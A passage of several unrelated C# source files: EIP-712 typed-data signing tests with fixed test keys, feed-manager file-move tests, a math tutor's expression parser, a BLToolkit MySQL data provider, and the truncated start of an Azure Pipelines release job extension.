Assert.Equal("0x943393c998ab7e067d2875385e2218c9b3140f563694267ac9f6276a9fcc53e15c1526abe460cd6e2f570a35418f132d9733363400c44791ff7b88f0e9c91d091b", signature); var addressRecovered = _signer.RecoverFromSignatureV4(typedData, signature); var address = key.GetPublicAddress(); Assert.True(address.IsTheSameAddress(addressRecovered)); } [Fact] public void ComplexMessageTypedDataEncodingShouldBeCorrectForV4() { var typedData = new TypedData<Domain> { Domain = new Domain { Name = "Ether Mail", Version = "1", ChainId = 1, VerifyingContract = "0xCcCCccccCCCCcCCCCCCcCcCccCcCCCcCcccccccC" }, Types = new Dictionary<string, MemberDescription[]> { ["EIP712Domain"] = new[] { new MemberDescription {Name = "name", Type = "string"}, new MemberDescription {Name = "version", Type = "string"}, new MemberDescription {Name = "chainId", Type = "uint256"}, new MemberDescription {Name = "verifyingContract", Type = "address"}, }, ["Person"] = new[] { new MemberDescription {Name = "name", Type = "string"}, new MemberDescription {Name = "wallet", Type = "address"}, }, ["Mail"] = new[] { new MemberDescription {Name = "from", Type = "Person"}, new MemberDescription {Name = "to", Type = "Person"}, new MemberDescription {Name = "contents", Type = "string"}, } }, PrimaryType = "Mail", Message = new[] { new MemberValue { TypeName = "Person", Value = new[] { new MemberValue {TypeName = "string", Value = "Cow"}, new MemberValue {TypeName = "address", Value = "0xCD2a3d9F938E13CD947Ec05AbC7FE734Df8DD826"}, } }, new MemberValue { TypeName = "Person", Value = new[] { new MemberValue {TypeName = "string", Value = "Bob"}, new MemberValue {TypeName = "address", Value = "0xbBbBBBBbbBBBbbbBbbBbbbbBBbBbbbbBbBbbBBbB"}, } }, new MemberValue {TypeName = "string", Value = "Hello, Bob!"}, } }; var result = _signer.EncodeTypedData(typedData); Assert.Equal(Sha3Keccack.Current.CalculateHash(result).ToHex(true), "0xbe609aee343fb3c4b28e1df9e632fca64fcfaede20f02e86244efddf30957bd2", ignoreCase: true); var key = new EthECKey("83f8964bd55c98a4806a7b100bd9d885798d7f936f598b88916e11bade576204"); var signature = _signer.SignTypedDataV4(typedData, key); Assert.Equal("0xf714d2cd123498a5551cafee538d073c139c5c237c2d0a98937a5cce109bfefb7c6585fed974543c649b0cae34ac8763ee0ac536a56a82980c14470f0029907b1b", signature); var addressRecovered = new MessageSigner().EcRecover(Sha3Keccack.Current.CalculateHash(result), signature); var address = key.GetPublicAddress(); Assert.True(address.IsTheSameAddress(addressRecovered)); addressRecovered = _signer.RecoverFromSignatureV4(typedData, signature); Assert.True(address.IsTheSameAddress(addressRecovered)); addressRecovered = _signer.RecoverFromSignatureV4(result, signature); Assert.True(address.IsTheSameAddress(addressRecovered)); addressRecovered = _signer.RecoverFromSignatureHashV4(Sha3Keccack.Current.CalculateHash(result), signature); Assert.True(address.IsTheSameAddress(addressRecovered)); } [Fact] public void ComplexMessageTypedDataEncodingShouldBeCorrect() { var typedData = new TypedData<Domain> { Domain = new Domain { Name = "Ether Mail", Version = "1", ChainId = 1, VerifyingContract = "0xCcCCccccCCCCcCCCCCCcCcCccCcCCCcCcccccccC" }, Types = new Dictionary<string, MemberDescription[]> { ["EIP712Domain"] = new[] { new MemberDescription {Name = "name", Type = "string"}, new MemberDescription {Name = "version", Type = "string"}, new MemberDescription {Name = "chainId", Type = "uint256"}, new MemberDescription {Name = "verifyingContract", Type = "address"}, }, ["Person"] = new[] { new MemberDescription {Name = "name", Type = "string"}, new MemberDescription {Name = "wallet", Type = "address"}, }, ["Mail"] = new[] { new MemberDescription {Name = "from", Type = "Person"}, new MemberDescription {Name = "to", Type = "Person"}, new MemberDescription {Name = "contents", Type = "string"}, } }, PrimaryType = "Mail", Message = new[] { new MemberValue { TypeName = "Person", Value = new[] { new MemberValue {TypeName = "string", Value = "Cow"}, new MemberValue {TypeName = "address", Value = "0xCD2a3d9F938E13CD947Ec05AbC7FE734Df8DD826"}, } }, new MemberValue { TypeName = "Person", Value = new[] { new MemberValue {TypeName = "string", Value = "Bob"}, new MemberValue {TypeName = "address", Value = "0xbBbBBBBbbBBBbbbBbbBbbbbBBbBbbbbBbBbbBBbB"}, } }, new MemberValue {TypeName = "string", Value = "Hello, Bob!"}, } }; var result = _signer.EncodeTypedData(typedData); Assert.Equal(Sha3Keccack.Current.CalculateHash(result).ToHex(true), "0xbe609aee343fb3c4b28e1df9e632fca64fcfaede20f02e86244efddf30957bd2", ignoreCase: true); var key = new EthECKey(Sha3Keccack.Current.CalculateHash("cow")); var signature = _signer.SignTypedData(typedData, key); var addressRecovered = new EthereumMessageSigner().EcRecover(Sha3Keccack.Current.CalculateHash(result), signature); var address = key.GetPublicAddress(); } [Struct("EIP712Domain")] public class MyFlatDomain : IDomain { [Parameter("address", "verifyingContract", 1)] public virtual string VerifyingContract { get; set; } } [Fact] public void FlatMessageObjectEncodingShouldBeCorrect() { var domain = new MyFlatDomain() { VerifyingContract = "0x0fced4cc7788ede6d93e23e0b54bb56a98114ce2" }; var param = new EncodeTransactionDataFunction { To = "0x4f96fe3b7a6cf9725f59d353f723c1bdb64ca6aa", Value = 0, Data = "0x095ea7b3000000000000000000000000e7bc397dbd069fc7d0109c0636d06888bb50668c00000000000000000000000000000000000000000000000000000000ffffffff".HexToByteArray(), Operation = 0, SafeTxGas = 0, BaseGas = 0, GasPrice = 0, GasToken = AddressUtil.AddressEmptyAsHex, RefundReceiver = AddressUtil.AddressEmptyAsHex, Nonce = 1 }; var encodedMessage = _signer.EncodeTypedData(param, domain, "SafeTx"); Assert.Equal( encodedMessage.ToHex(true), "0x1901a15700103df744480601949aa3add5a0c0ebf6d258bf881eb6abac9736ead7f43a707a87afefa511211636c16608979d6ce2fc81e3c6979d4b80fb4bf3ff1080", ignoreCase: true ); var testPrivateKey = "8da4ef21b864d2cc526dbdb2a120bd2874c36c9d0a1fb7f8c63d7f7a8b41de8f"; var signature = _signer.SignTypedData(param, domain, "SafeTx", new EthECKey(testPrivateKey)); Assert.Equal( signature, "0x12bc2897d54cf62b8cc4864f02e6e154ddf416e51b5919a608e32978fa80422e369a3d6b24eeb2875e3fabc233b4ebbd8306c209a81958c440172780ad9a99841c", ignoreCase: true ); var recoveredAddress = new EthereumMessageSigner().EcRecover(Sha3Keccack.Current.CalculateHash(encodedMessage), signature); Assert.Equal( recoveredAddress, "0x63FaC9201494f0bd17B9892B9fae4d52fe3BD377", ignoreCase: true ); } private class EncodeTransactionDataFunction { [Parameter("address", "to", 1)] public virtual string To { get; set; } [Parameter("uint256", "value", 2)] public virtual BigInteger Value { get; set; } [Parameter("bytes", "data", 3)] public virtual byte[] Data { get; set; } [Parameter("uint8", "operation", 4)] public virtual byte Operation { get; set; } [Parameter("uint256", "safeTxGas", 5)] public virtual BigInteger SafeTxGas { get; set; } [Parameter("uint256", "baseGas", 6)] public virtual BigInteger BaseGas { get; set; } [Parameter("uint256", "gasPrice", 7)] public new virtual BigInteger GasPrice { get; set; } [Parameter("address", "gasToken", 8)] public virtual string GasToken { get; set; } [Parameter("address", "refundReceiver", 9)] public virtual string RefundReceiver { get; set; } [Parameter("uint256", "nonce", 10)] public new virtual BigInteger Nonce { get; set; } } } }
using System; using System.Collections.Generic; using System.IO; using System.Linq; using DataMigration; using NUnit.Framework; using log4net; namespace DataMigrationTests { /// <summary> /// Feed manager tests. This test verifies the Feed Manager is capable of doing its work, /// moving feed files around and downloading them, when given a FeedAccess object. /// </summary> [TestFixture] public class FeedManagerTests { static public string BaseDir = Path.GetTempPath (); string workingDirectory; List<string> feedFiles; readonly TestFeedAccess feedAccess = new TestFeedAccess (); /// <summary> /// Sets up the TestFeedAccess object with its directory paths, and instantiates the /// workingDirectory member. /// </summary> [TestFixtureSetUp] public void SetupForAllTests () { feedAccess.DropDir = CreateFeedDir (BaseDir, "drop"); feedAccess.CurrDir = CreateFeedDir (BaseDir, "current"); feedAccess.ArchiveDir = CreateFeedDir (BaseDir, "archive"); workingDirectory = Path.Combine (Path.GetTempPath (), "workingDirectory"); } private string CreateFeedDir (string baseDir, string suffix) { var fullDirName = Path.Combine (baseDir, suffix); Directory.CreateDirectory (fullDirName); return fullDirName; } /// <summary> /// Deletes all the temporary created directories and their contents. /// </summary> [TestFixtureTearDown] public void TearDownAllTests () { feedAccess.Cleanup (); Directory.Delete (workingDirectory, true); } /// <summary> /// This test verifies the feed manager is capable of using an IFeedAccess object to /// determine correctly that work is available, and can move the feed files correctly /// from drop to current to archive, and can download them locally for working on. /// </summary> [Test] public void TestFeedManager () { feedFiles = new List<String> { "feedFile1.txt", "feedFile2.txt", }; CreateDropAndCurrFiles (feedFiles); // Make FeedFilePlan objects. var feedPlan = feedFiles.Select (s => new FeedFilePlan{ FileName = s }).ToArray (); // Make the overall plan. var plan = new DataSourcePlan { FilesLocation = BaseDir, FeedFilePlans = feedPlan, }; var feedManager = new FeedManager { FeedAccess = feedAccess, WorkingDir = workingDirectory, Plan = plan, }; // Verify files are in drop and current as we expect, and none in archive. VerifyInitialState (BaseDir, feedFiles); // Verify that the feed manager believes we have work to do. Assert.IsTrue (feedManager.NeedsToProcess ()); // Move the current to archive. var datedSubDirectory = feedManager.MoveCurrentToArchive (); var fullPathArchive = Path.Combine(feedAccess.ArchiveDir, datedSubDirectory); // Verify files exist in the archive, and not in the current. VerifyFeedFileExistenceOrNonExistence(fullPathArchive, feedFiles, true); VerifyFeedFileExistenceOrNonExistence (feedAccess.CurrDir, feedFiles, false); // Move the drop to the current. feedManager.MoveDropToCurrent (); // Verify that there are no files in the drop, and there are files in current // and archive. VerifyFeedFileExistenceOrNonExistence (feedAccess.DropDir, feedFiles, false); VerifyFeedFileExistenceOrNonExistence (feedAccess.CurrDir, feedFiles, true); VerifyFeedFileExistenceOrNonExistence (fullPathArchive, feedFiles, true); // Do the 'download', which in this context is simply a local file copy. feedManager.DownloadCurrentToLocal (true); // Verify the 'downloaded' files exists. VerifyFeedFileExistenceOrNonExistence (Path.Combine (workingDirectory), feedFiles, true); } /// <summary> /// Verify, before we start up, that we have set the stage correctly. There should be /// feed files in the drop and current, and none in the archive. /// </summary> /// <param name="baseDir">Base directory.</param> /// <param name="feedFileNames">Feed file names.</param> void VerifyInitialState (string baseDir, List<string> feedFileNames) { VerifyFeedFileExistenceOrNonExistence (feedAccess.DropDir, feedFileNames, true); VerifyFeedFileExistenceOrNonExistence (feedAccess.CurrDir, feedFileNames, true); VerifyFeedFileExistenceOrNonExistence (feedAccess.ArchiveDir, feedFileNames, false); } /// <summary> /// Verifies the feed file existence or non existence. /// </summary> /// <param name="baseDir">Base directory.</param> /// <param name="fileNames">List of file names.</param> /// <param name="exists">If true, enforce existence, otherwise, nonexistence.</param> void VerifyFeedFileExistenceOrNonExistence (string baseDir, IList<string> fileNames, bool exists) { foreach (var feedFile in fileNames) { var fullPath = Path.Combine (baseDir, feedFile); if (exists) { Assert.IsTrue(File.Exists(fullPath)); } else { Assert.IsFalse(File.Exists(fullPath)); } } } /// <summary> /// Creates the drop and curr feed files. /// </summary> /// <param name="feedFileNames">Feed file names.</param> void CreateDropAndCurrFiles (IList<string> feedFileNames) { foreach (var feedFile in feedFileNames) { CreateTestFeedFile (Path.Combine (feedAccess.CurrDir, feedFile)); } // sleep for a few ms. so that drop files will be newer than curr files. System.Threading.Thread.Sleep (1000); foreach (var feedFile in feedFileNames) { CreateTestFeedFile (Path.Combine (feedAccess.DropDir, feedFile)); } } /// <summary> /// Creates the test feed file. /// </summary> /// <param name="fullPath">Full path of file to create.</param> private void CreateTestFeedFile (string fullPath) { using (var streamWriter = File.CreateText (fullPath)) { streamWriter.WriteLine ("A line of text"); } } } /// <summary> /// Scaffolding/mock class that implements IFeedAccess so that FeedManager can be exercised /// by unit tests. It just uses local File IO methods to meet its IFeedAccess contract. /// </summary> sealed class TestFeedAccess : IFeedAccessor { static ILog log = LogManager.GetLogger (typeof(TestFeedAccess)); // Drop, current and archive dir strings are set here, because its the responsibility // of this class to delete these. public string DropDir { get; set; } public string CurrDir { get; set; } public string ArchiveDir { get; set; } #region IFeedAccess implementation /// <summary> /// Returns true if file exists, otherwise false. /// public bool Exists (string fileName) { return File.Exists (fileName); } /// <summary> /// Returns the last modified time of the file. /// </summary> public DateTime? LastModified (string fileName) { var fi = new FileInfo (fileName); return fi.LastWriteTime; } /// <summary> /// Given a full path to a file, and a new directory location, moves the file, removing /// it from the source location. /// </summary> public void Move (string oldFile, string newDir) { var fullPath = newDir; newDir = Path.GetDirectoryName(newDir); if (!Directory.Exists(newDir)) { Directory.CreateDirectory(newDir); } File.Move (oldFile, fullPath); } /// <summary> /// Delete the specified file. /// </summary> public void Delete (string fileName) { File.Delete (fileName); } /// <summary> /// Downloads the file specified at fullPath to the location specified. /// </summary> /// <param name="fullPath">Full path to original file.</param> /// <param name="localFileLocation">Local file location.</param> public void Copy (string fullPath, string localFileLocation) { File.Copy (fullPath, localFileLocation); } #endregion /// <summary> /// Remove the archive, current, and drop directories, and all their contents. /// </summary> [TestFixtureTearDown] public void Cleanup () { CleanupDir (ArchiveDir); CleanupDir (CurrDir); CleanupDir (DropDir); } /// <summary> /// Removes a directory and contents. It creates a log entry on failure, but continues /// on, since this is reasonably benign. /// </summary> /// <param name="dir">Directory to cleanup.</param> private void CleanupDir (string dir) { try { Directory.Delete (dir, true); } catch (Exception ex) { log.ErrorFormat ("CleanupDir - error deleting dir {0}, err = {1}, stack= {2}" + ", continuing on...", dir, ex.Message, ex.StackTrace); } } } }
using System; using System.Collections; namespace Tutor.Production { /// <summary> /// Summary description for ReWrite. /// </summary> public interface ProductionRule { string str(); } public class ProFunctionApplication : ProductionRule { public string FunctionName; public ArrayList Parameters; public ProFunctionApplication() { Parameters = new ArrayList(); } #region ProductionRule Members public string str() { string S = FunctionName + "("; bool First = true; foreach(ProductionRule E in Parameters) { if(!First) S += ","; First = false; S += E.str(); } S += ")"; return S; } #endregion } public class ProAddition : ProductionRule { public ArrayList _Terms; public ProAddition() { _Terms = new ArrayList(); } public ProAddition(ProductionRule a) { _Terms = new ArrayList(); _Terms.Add(a); } public ProAddition(ProductionRule a, ProductionRule b) { _Terms = new ArrayList(); _Terms.Add(a); _Terms.Add(b); } public ProAddition(ProductionRule [] A) { _Terms = new ArrayList(); foreach(ProductionRule E in A) _Terms.Add(E); } public string str() { string interior = ""; bool first = true; foreach(ProductionRule E in _Terms) { if(!first) interior += "+"; interior += E.str(); first = false; } return "(" +interior + ")"; } } public class ProMultiplication : ProductionRule { public ArrayList _Factors; public ProMultiplication() { _Factors = new ArrayList(); } public ProMultiplication(ProductionRule a) { _Factors = new ArrayList(); _Factors.Add(a); } public ProMultiplication(ProductionRule a, ProductionRule b) { _Factors = new ArrayList(); _Factors.Add(a); _Factors.Add(b); } public ProMultiplication(ProductionRule [] A) { _Factors = new ArrayList(); foreach(ProductionRule E in A) _Factors.Add(E); } public string str() { string interior = ""; bool first = true; foreach(ProductionRule E in _Factors) { if(!first) interior += "*"; interior += E.str(); first = false; } return "(" + interior + ")"; } } public class ProValue : ProductionRule { public long Value; public ProValue(long v) { Value = v; } public string str() { return "" + Value + ""; } }; public class ProConstant : ProductionRule { public int Identifier; public ProConstant(int Ident) { Identifier = Ident; } public string str() { return "<" + Identifier + ">"; } } public class ProDivide : ProductionRule { public ProductionRule Numerator; public ProductionRule Denominator; public ProDivide(ProductionRule n, ProductionRule d) { Numerator = n; Denominator = d; } public string str() { return "(" + Numerator.str() + ")/(" + Denominator.str() + ")"; } } public class ProNegation : ProductionRule { public ProductionRule Term; public ProNegation(ProductionRule t) { Term = t; } public string str() { return "-(" + Term.str() + ")"; } } public class ProAbsoluteValue : ProductionRule { public ProductionRule Term; public ProAbsoluteValue(ProductionRule t) { Term = t; } public string str() { return "\\abs{" + Term.str() + "}"; } } public class ProEquality : ProductionRule { public ProductionRule Left; public ProductionRule Right; public ProEquality(ProductionRule l, ProductionRule r) { Left = l; Right = r; } public string str() { return "(" + Left.str() + ")=(" + Right.str() + ")"; } }; public enum ProInEqualityType { LessThan, LessThanEqual, GreaterThan, GreaterThanEqual, NotEqual } public class ProInEquality : ProductionRule { public ProductionRule Left; public ProductionRule Right; public ProInEqualityType Typ; public string GetTypStr(ProInEqualityType T) { if(T == ProInEqualityType.GreaterThan) return ">"; if(T == ProInEqualityType.LessThan) return "<"; if(T == ProInEqualityType.GreaterThanEqual) return ">="; if(T == ProInEqualityType.LessThanEqual) return "<="; if(T == ProInEqualityType.NotEqual) return "!="; return "?"; } public ProInEquality(ProductionRule l, ProductionRule r, ProInEqualityType T) { Left = l; Right = r; Typ = T; } public string str() { return "(" + Left.str() + ")"+GetTypStr(Typ)+"(" + Right.str() + ")"; } }; public class ProRoot : ProductionRule { public ProductionRule Term; public ProductionRule Root; public ProRoot(ProductionRule t, ProductionRule r) { Term = t; Root = r; } public string str() { return "\\sqrt["+Root.str()+"](" + Term.str() + ")"; } }; public class ProLog : ProductionRule { public ProductionRule Term; public ProductionRule Base; public ProLog(ProductionRule t, ProductionRule b) { Term = t; Base = b; } public string str() { return "\\log["+Base.str()+"](" + Term.str() + ")"; } }; public class ProPower : ProductionRule { public ProductionRule Base; public ProductionRule Power; public ProPower(ProductionRule b, ProductionRule p) { Base = b; Power = p; } public string str() { return "(" + Base.str() + ")^(" + Power.str() + ")"; } } public class ProTree : ProductionRule { public string Identifier; public ProTree(string ident) { Identifier = ident; } public string str() { return "[" + Identifier + "]"; } } public class ProVariable : ProductionRule { public string Variable; public ProVariable(string var) { Variable = var; } public string str() { return "" + Variable + ""; } } public class ProEval : ProductionRule { public ProductionRule Term; public ProEval(ProductionRule t) { Term = t; } public string str() { return "eval(" + Term.str() + ")"; } } public class ProductionParser { public static ProductionRule Interpret(SimpleParser.SimpleParseTree SPL) { if(SPL.node.Equals("+")) { ProAddition add = new ProAddition(); foreach(SimpleParser.SimpleParseTree sub in SPL.children) { add._Terms.Add( Interpret(sub) ); } return add; } if(SPL.node.Equals("*")) { ProMultiplication mult = new ProMultiplication(); foreach(SimpleParser.SimpleParseTree sub in SPL.children) { mult._Factors.Add( Interpret(sub) ); } return mult; } if(SPL.node.Equals("var")) { return new ProVariable (((SimpleParser.SimpleParseTree) SPL.children[0] ) .node); } if(SPL.node.Equals("^")) { return new ProPower(Interpret( ((SimpleParser.SimpleParseTree) SPL.children[0] ) ), Interpret( ((SimpleParser.SimpleParseTree) SPL.children[1] ) )); } if(SPL.node.Equals("-")) { return new ProNegation( Interpret( ((SimpleParser.SimpleParseTree) SPL.children[0] ) ) ); } if(SPL.node.Equals("abs")) { return new ProAbsoluteValue( Interpret( ((SimpleParser.SimpleParseTree) SPL.children[0] ) ) ); } if(SPL.node.Equals("/")) { return new ProDivide(Interpret( ((SimpleParser.SimpleParseTree) SPL.children[0] ) ), Interpret( ((SimpleParser.SimpleParseTree) SPL.children[1] ) )); } if(SPL.node.Equals("root")) { return new ProRoot(Interpret( ((SimpleParser.SimpleParseTree) SPL.children[0] ) ), Interpret( ((SimpleParser.SimpleParseTree) SPL.children[1] ) )); } if(SPL.node.Equals("log")) { return new ProLog(Interpret( ((SimpleParser.SimpleParseTree) SPL.children[0] ) ), Interpret( ((SimpleParser.SimpleParseTree) SPL.children[1] ) )); } if(SPL.node.Equals("ln")) { return new ProLog(Interpret( ((SimpleParser.SimpleParseTree) SPL.children[0] ) ), new ProVariable("e")); } if(SPL.node.Equals("sqrt")) { return new ProRoot(Interpret( ((SimpleParser.SimpleParseTree) SPL.children[0] ) ), new ProValue(2) ); } if(SPL.node.Equals("=")) { return new ProEquality(Interpret( ((SimpleParser.SimpleParseTree) SPL.children[0] ) ), Interpret( ((SimpleParser.SimpleParseTree) SPL.children[1] ) )); } if(SPL.node.Equals("<")) { return new ProInEquality( Interpret( ((SimpleParser.SimpleParseTree) SPL.children[0] ) ), Interpret( ((SimpleParser.SimpleParseTree) SPL.children[1] ) ) , ProInEqualityType.LessThan ); } if(SPL.node.Equals(">")) { return new ProInEquality( Interpret( ((SimpleParser.SimpleParseTree) SPL.children[0] ) ), Interpret( ((SimpleParser.SimpleParseTree) SPL.children[1] ) ) , ProInEqualityType.GreaterThan ); } if(SPL.node.Equals("<=")) { return new ProInEquality( Interpret( ((SimpleParser.SimpleParseTree) SPL.children[0] ) ), Interpret( ((SimpleParser.SimpleParseTree) SPL.children[1] ) ) , ProInEqualityType.LessThanEqual ); } if(SPL.node.Equals(">=")) { return new ProInEquality( Interpret( ((SimpleParser.SimpleParseTree) SPL.children[0] ) ), Interpret( ((SimpleParser.SimpleParseTree) SPL.children[1] ) ) , ProInEqualityType.GreaterThanEqual ); } if(SPL.node.Equals("!=")) { return new ProInEquality( Interpret( ((SimpleParser.SimpleParseTree) SPL.children[0] ) ), Interpret( ((SimpleParser.SimpleParseTree) SPL.children[1] ) ) , ProInEqualityType.NotEqual ); } if(SPL.node.Equals("c")) { return new ProConstant( Int32.Parse(((SimpleParser.SimpleParseTree) SPL.children[0] ) .node) ); } if(SPL.node.Equals("v")) { return new ProValue( Int32.Parse(((SimpleParser.SimpleParseTree) SPL.children[0] ) .node) ); } if(SPL.node.Equals("eval")) { return new ProEval( Interpret( ((SimpleParser.SimpleParseTree) SPL.children[0] ) ) ); } if(SPL.node.Equals("fun_app") || SPL.node.Equals("func")) { ProFunctionApplication PFA = new ProFunctionApplication(); if(SPL.children.Count > 0) { SimpleParser.SimpleParseTree C0 = ((SimpleParser.SimpleParseTree)SPL.children[0]); if( C0.node.Equals("var")) { SimpleParser.SimpleParseTree Name = ((SimpleParser.SimpleParseTree)C0.children[0]); PFA.FunctionName = Name.node; } else { PFA.FunctionName = C0.node; } for(int k = 1; k < SPL.children.Count; k++) { ProductionRule EP = Interpret( ((SimpleParser.SimpleParseTree) SPL.children[k] ) ); PFA.Parameters.Add(EP); } return PFA; } } return new ProTree(SPL.node); } public static ProductionRule Parse(string source) { SimpleParser.SimpleLexer SL = new SimpleParser.SimpleLexer(source); SimpleParser.SimpleParseTree SPL = SimpleParser.SimpleParseTree.Parse(SL); return Interpret(SPL); } } }
// MySql Connector/Net // http://dev.mysql.com/downloads/connector/net/ // using System; using System.Collections.Generic; using System.Data; using System.Data.Common; using MySql.Data.MySqlClient; namespace BLToolkit.Data.DataProvider { using Sql.SqlProvider; using Common; public class MySqlDataProvider : DataProviderBase { #region Static configuration public static char ParameterSymbol { get { return MySqlSqlProvider.ParameterSymbol; } set { MySqlSqlProvider.ParameterSymbol = value; } } public static bool TryConvertParameterSymbol { get { return MySqlSqlProvider.TryConvertParameterSymbol; } set { MySqlSqlProvider.TryConvertParameterSymbol = value; } } public static string CommandParameterPrefix { get { return MySqlSqlProvider.CommandParameterPrefix; } set { MySqlSqlProvider.CommandParameterPrefix = value; } } public static string SprocParameterPrefix { get { return MySqlSqlProvider.SprocParameterPrefix; } set { MySqlSqlProvider.SprocParameterPrefix = value; } } public static List<char> ConvertParameterSymbols { get { return MySqlSqlProvider.ConvertParameterSymbols; } set { MySqlSqlProvider.ConvertParameterSymbols = value; } } [Obsolete("Use CommandParameterPrefix or SprocParameterPrefix instead.")] public static string ParameterPrefix { get { return MySqlSqlProvider.SprocParameterPrefix; } set { SprocParameterPrefix = CommandParameterPrefix = string.IsNullOrEmpty(value) ? string.Empty : value; } } public static void ConfigureOldStyle() { ParameterSymbol = '?'; ConvertParameterSymbols = new List<char>(new[] { '@' }); TryConvertParameterSymbol = true; } public static void ConfigureNewStyle() { ParameterSymbol = '@'; ConvertParameterSymbols = null; TryConvertParameterSymbol = false; } static MySqlDataProvider() { ConfigureOldStyle(); } #endregion public override IDbConnection CreateConnectionObject() { return new MySqlConnection(); } public override DbDataAdapter CreateDataAdapterObject() { return new MySqlDataAdapter(); } private void ConvertParameterNames(IDbCommand command) { foreach (IDataParameter p in command.Parameters) { if (p.ParameterName[0] != ParameterSymbol) p.ParameterName = Convert( Convert(p.ParameterName, ConvertType.SprocParameterToName), command.CommandType == CommandType.StoredProcedure ? ConvertType.NameToSprocParameter : ConvertType.NameToCommandParameter).ToString(); } } public override bool DeriveParameters(IDbCommand command) { if (command is MySqlCommand) { MySqlCommandBuilder.DeriveParameters((MySqlCommand)command); if (TryConvertParameterSymbol && ConvertParameterSymbols.Count > 0) ConvertParameterNames(command); return true; } return false; } public override IDbDataParameter GetParameter( IDbCommand command, NameOrIndexParameter nameOrIndex) { if (nameOrIndex.ByName) { // if we have a stored procedure, then maybe command paramaters were formatted // (SprocParameterPrefix added). In this case we need to format given parameter name first // and only then try to take parameter by formatted parameter name string parameterName = command.CommandType == CommandType.StoredProcedure ? Convert(nameOrIndex.Name, ConvertType.NameToSprocParameter).ToString() : nameOrIndex.Name; return (IDbDataParameter)(command.Parameters[parameterName]); } return (IDbDataParameter)(command.Parameters[nameOrIndex.Index]); } public override object Convert(object value, ConvertType convertType) { if (value == null) throw new ArgumentNullException("value"); switch (convertType) { case ConvertType.ExceptionToErrorNumber: if (value is MySqlException) return ((MySqlException)value).Number; break; case ConvertType.ExceptionToErrorMessage: if (value is MySqlException) return ((MySqlException)value).Message; break; } return SqlProvider.Convert(value, convertType); } public override Type ConnectionType { get { return typeof(MySqlConnection); } } public override string Name { get { return DataProvider.ProviderName.MySql; } } public override ISqlProvider CreateSqlProvider() { return new MySqlSqlProvider(); } public override void Configure(System.Collections.Specialized.NameValueCollection attributes) { string paremeterPrefix = attributes["ParameterPrefix"]; if (paremeterPrefix != null) CommandParameterPrefix = SprocParameterPrefix = paremeterPrefix; paremeterPrefix = attributes["CommandParameterPrefix"]; if (paremeterPrefix != null) CommandParameterPrefix = paremeterPrefix; paremeterPrefix = attributes["SprocParameterPrefix"]; if (paremeterPrefix != null) SprocParameterPrefix = paremeterPrefix; string configName = attributes["ParameterSymbolConfig"]; if (configName != null) { switch (configName) { case "OldStyle": ConfigureOldStyle(); break; case "NewStyle": ConfigureNewStyle(); break; } } string parameterSymbol = attributes["ParameterSymbol"]; if (parameterSymbol != null && parameterSymbol.Length == 1) ParameterSymbol = parameterSymbol[0]; string convertParameterSymbols = attributes["ConvertParameterSymbols"]; if (convertParameterSymbols != null) ConvertParameterSymbols = new List<char>(convertParameterSymbols.ToCharArray()); string tryConvertParameterSymbol = attributes["TryConvertParameterSymbol"]; if (tryConvertParameterSymbol != null) TryConvertParameterSymbol = BLToolkit.Common.Convert.ToBoolean(tryConvertParameterSymbol); base.Configure(attributes); } } }
using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Text.RegularExpressions; using System.Threading.Tasks; using Agent.Worker.Release; using Microsoft.TeamFoundation.DistributedTask.WebApi; using Microsoft.VisualStudio.Services.Agent.Util; using Microsoft.VisualStudio.Services.ReleaseManagement.WebApi.Contracts; using Microsoft.VisualStudio.Services.Agent.Worker.Release.Artifacts; using Microsoft.VisualStudio.Services.Agent.Worker.Release.Artifacts.Definition; using Newtonsoft.Json; using Microsoft.TeamFoundation.DistributedTask.Pipelines; namespace Microsoft.VisualStudio.Services.Agent.Worker.Release { public class ReleaseJobExtension : JobExtension { private const string DownloadArtifactsFailureSystemError = "DownloadArtifactsFailureSystemError"; private const string DownloadArtifactsFailureUserError = "DownloadArtifactsFailureUserError"; private static readonly Guid DownloadArtifactsTaskId = new Guid("B152FEAA-7E65-43C9-BCC4-07F6883EE793"); private int ReleaseId { get; set; } private Guid TeamProjectId { get; set; } private string ReleaseWorkingFolder { get; set; } private string ArtifactsWorkingFolder { get; set; } private bool SkipArtifactsDownload { get; set; } private IList<AgentArtifactDefinition> ReleaseArtifacts { get; set; } = new List<AgentArtifactDefinition>(); public override Type ExtensionType => typeof(IJobExtension); public override HostTypes HostType => HostTypes.Release; public override IStep GetExtensionPreJobStep(IExecutionContext jobContext) { if (ReleaseArtifacts.Any()) { return new JobExtensionRunner( runAsync: DownloadArtifactsAndCommitsAsync, condition: ExpressionManager.Succeeded, displayName: StringUtil.Loc("DownloadArtifacts"), data: null); } return null; } public override IStep GetExtensionPostJobStep(IExecutionContext jobContext) { return null; } public override string GetRootedPath(IExecutionContext context, string path) { string rootedPath = null; if (!string.IsNullOrEmpty(path) && path.IndexOfAny(Path.GetInvalidPathChars()) < 0 && Path.IsPathRooted(path)) { try { rootedPath = Path.GetFullPath(path); Trace.Info($"Path resolved by source provider is a rooted path, return absolute path: {rootedPath}"); return rootedPath; } catch (Exception ex) { Trace.Info($"Path resolved is a rooted path, but it is not fully qualified, return the path: {path}"); Trace.Error(ex); return path; } } string artifactRootPath = context.Variables.Release_ArtifactsDirectory ?? string.Empty; Trace.Info($"Artifact root path is system.artifactsDirectory: {artifactRootPath}"); if (!string.IsNullOrEmpty(artifactRootPath) && artifactRootPath.IndexOfAny(Path.GetInvalidPathChars()) < 0 && path != null && path.IndexOfAny(Path.GetInvalidPathChars()) < 0) { path = Path.Combine(artifactRootPath, path); Trace.Info($"After prefix Artifact Path Root provide by JobExtension: {path}"); if (Path.IsPathRooted(path)) { try { rootedPath = Path.GetFullPath(path); Trace.Info($"Return absolute path after prefix ArtifactPathRoot: {rootedPath}"); return rootedPath; } catch (Exception ex) { Trace.Info($"After prefix Artifact Path Root provide by JobExtension. The Path is a rooted path, but it is not fully qualified, return the path: {path}"); Trace.Error(ex); return path; } } } return rootedPath; } public override void ConvertLocalPath(IExecutionContext context, string localPath, out string repoName, out string sourcePath) { Trace.Info($"Received localpath {localPath}"); repoName = string.Empty; sourcePath = string.Empty; } private async Task DownloadArtifactsAndCommitsAsync(IExecutionContext executionContext, object data) { Trace.Entering(); try { await DownloadArtifacts(executionContext, ReleaseArtifacts, ArtifactsWorkingFolder); await DownloadCommits(executionContext, TeamProjectId, ReleaseArtifacts); } catch (Exception ex) { LogDownloadFailureTelemetry(executionContext, ex); throw; } } private IList<AgentArtifactDefinition> GetReleaseArtifacts(IExecutionContext executionContext) { try { var connection = 